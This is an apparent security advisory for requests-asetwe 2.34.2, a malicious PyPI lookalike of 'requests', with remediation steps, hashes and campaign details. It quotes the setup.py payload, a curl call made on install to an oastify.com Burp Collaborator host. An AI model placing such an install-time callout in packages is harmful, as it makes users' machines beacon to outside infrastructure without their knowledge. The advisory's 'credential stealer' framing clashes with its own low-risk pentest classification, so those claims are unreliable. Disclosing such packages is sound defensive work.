Which versions of requests-asetwe are malicious?

The following PyPI versions of requests-asetwe are flagged malicious: 2.34.2. Treat any of these as compromised.

How do I remediate requests-asetwe if I installed it?

requests-asetwe is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed requests-asetwe — how do I know if it already compromised me?

If requests-asetwe was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is requests-asetwe part of a known attack campaign?

Yes — requests-asetwe is associated with the GENERIC-standard-pypi-install-pentest, IN-MAL-2026-020155 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find requests-asetwe across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for requests-asetwe (version 2.34.2).

Malicious package

requests-asetwePyPI

Advisory published Sep 17, 2026Updated Sep 18, 2026

requests-asetwe is a confirmed malicious PyPI package (MAL-2026-16269) that steals credentials and exfiltrates sensitive data (malicious version 2.34.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in requests-asetwe (PyPI)

MAL-2026-16269

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall requests-asetwe

What this malware does

setup.py of requests-asetwe unconditionally executes os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com') during pip install. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used requests package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
The package overrides the install command in setup.py to execute malicious code during installation.

Malicious versions

1 flagged

2.34.2

Indicators of compromise (SHA-256)

7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835

c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for requests-asetwe (version 2.34.2).
If you installed it — respond
requests-asetwe is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If requests-asetwe was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. requests-asetwe on PyPI has been identified as a malicious package (version 2.34.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GENERIC-standard-pypi-install-pentestIN-MAL-2026-020155

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks requests-asetwe-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

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